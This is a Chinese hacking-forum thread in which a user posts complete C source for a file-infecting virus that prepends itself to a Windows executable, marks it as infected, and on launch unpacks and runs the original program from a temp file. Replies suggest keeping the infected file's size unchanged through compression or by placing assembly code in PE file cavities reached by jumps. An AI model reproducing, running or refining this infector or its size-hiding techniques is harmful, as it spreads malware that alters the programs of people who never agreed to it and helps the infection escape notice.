论坛: 编程破解 标题: [原创]外壳病毒原理 复制本贴地址    
作者: leonshoh [leonshoh]    论坛用户   登录
别的不说了,看代码就知道了,本来用文件映射的,可是老是出现无效句柄只能用笨办法了!请各位指教

//bindVirus.c

//Author:leonshoh

#include <stdio.h>
#include <windows.h>

char flag[]="virus";

BOOL Isinfect(char *file,char *flag)
{
   FILE *fp;
   char buffer[6];
   buffer[5]=0x0;
   fp=fopen(file,"rb");
   if(fp)
   {
fseek(fp,120,0);
     fread(buffer,sizeof(char),5,fp);
if(!strcmp(buffer,flag))
return TRUE;
else
return FALSE;
     fclose(fp);
   }
}

BOOL infect(char *file,char *flag,char *viruscode,DWORD virussize)
{
FILE *fp,*fp1;
char *buffer;
DWORD i=0,j,k,low;
fp1=fopen(file,"rb");
if(fp1)
{
fseek(fp1,0,2);
low=ftell(fp1);
j=low;
buffer=(char *)malloc(low);
fseek(fp1,0,0);
while(j>i)
  {
  k=fread(&buffer[i],sizeof(char),j-i,fp1);
  i=i+k;
  }
  fclose(fp1);
}

    fp=fopen("temp.temp$","wb");
if(fp)
{
i=0;
      j=virussize;
  while(j>i)
  {
  k=fwrite(&viruscode[i],sizeof(char),j-i,fp);
  i=i+k;
  }
  i=0;
  j=low;
  fseek(fp,0,2);
  while(j>i)
  {
  k=fwrite(&buffer[i],sizeof(char),j-i,fp);
  i=i+k;
  }
  fseek(fp,120,0);
  fwrite(flag,sizeof(char),sizeof(flag)+1,fp);
  fclose(fp);
}
unlink(file);
rename("temp.temp$",file);
}

BOOL UnbindFile(char *file,DWORD virussize,DWORD filesize)
{
FILE *fp,*fp1;
char TempPath[MAX_PATH];
char NewFile[256];
DWORD i,j,k;
char *buffer;
STARTUPINFO StartupInfo;
PROCESS_INFORMATION ProcessInformation;
GetTempPath(MAX_PATH,TempPath);
GetStartupInfo(&StartupInfo);
    GetTempFileName(TempPath,"vir",256,NewFile);
fp=fopen(file,"rb");
    fp1=fopen(NewFile,"wb");
if(fp)
{
fseek(fp,virussize,0);
i=0;
j=filesize-virussize;
buffer=(char *)malloc(j);
        while(j>i)
  {
  k=fread(&buffer[i],sizeof(char),j-i,fp);
  i=i+k;
  }
if(fp1)
{
i=0;j=filesize-virussize;
        while(j>i)
  {
  k=fwrite(&buffer[i],sizeof(char),j-i,fp1);
  i=i+k;
  }
}
fclose(fp1);
fclose(fp);
}
CreateProcess(NewFile,NULL,NULL,NULL,FALSE,0,NULL,NULL,&StartupInfo,&ProcessInformation);
WaitForSingleObject(ProcessInformation.hProcess,INFINITE);
unlink(NewFile);
}


void main(int argc,char **argv)
{
FILE *fp;
DWORD filesize;
char *viruscode;
DWORD i=0,k;
fp=fopen(argv[0],"rb");
    if(fp){
fseek(fp,0,2);
filesize=ftell(fp);
viruscode=(char *)malloc(filesize);
fseek(fp,0,0);
while(filesize>i)
{
k=fread(&viruscode[i],sizeof(char),filesize-i,fp);
i=i+k;
}
fclose(fp);
}
if(Isinfect(argv[0],flag))
{
UnbindFile(argv[0],4640,filesize);
}
else
{
infect("hacker.exe",flag,viruscode,4640);
}
}


地主 发表时间: 07/13 18:23

回复: xiean [xiean]   论坛用户   登录
不错,下步就改成不影响文件大小就更好了,嘿

B1层 发表时间: 07/13 23:27

回复: leonshoh [leonshoh]   论坛用户   登录
我在想是不是把原来的文件用LZ77算法压缩一定大小,应该可以不改变大小了!

B2层 发表时间: 07/14 09:57

回复: xiean [xiean]   论坛用户   登录
那样做一样不行的,大小多少会改变,执行文件多少会有一部分 00 00.... 之类的空段,特别是 .dll,你可以把你的程序编译成 .exe 再从中把核心部分 win32 asm 解出来,扔到这里面,调用时如果 00 段分得开,就用 jmp 函数或其它的跳转函数(近程/远程)跳转执行,最后再创建新进程。

B3层 发表时间: 07/14 11:24

回复: 王远飞 [wyf1051985]      登录
i agree with you

B4层 发表时间: 07/14 19:21

回复: leonshoh [leonshoh]   论坛用户   登录
你的意思是利用PE的空穴原理??
行是行,那不是用汇编写更简单?

B5层 发表时间: 07/15 18:25

回复: xiean [xiean]   论坛用户   登录
我不是说了把你源码编译好了再把核心asm弄出来嘛,就是用汇编啦

B6层 发表时间: 07/15 18:56

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号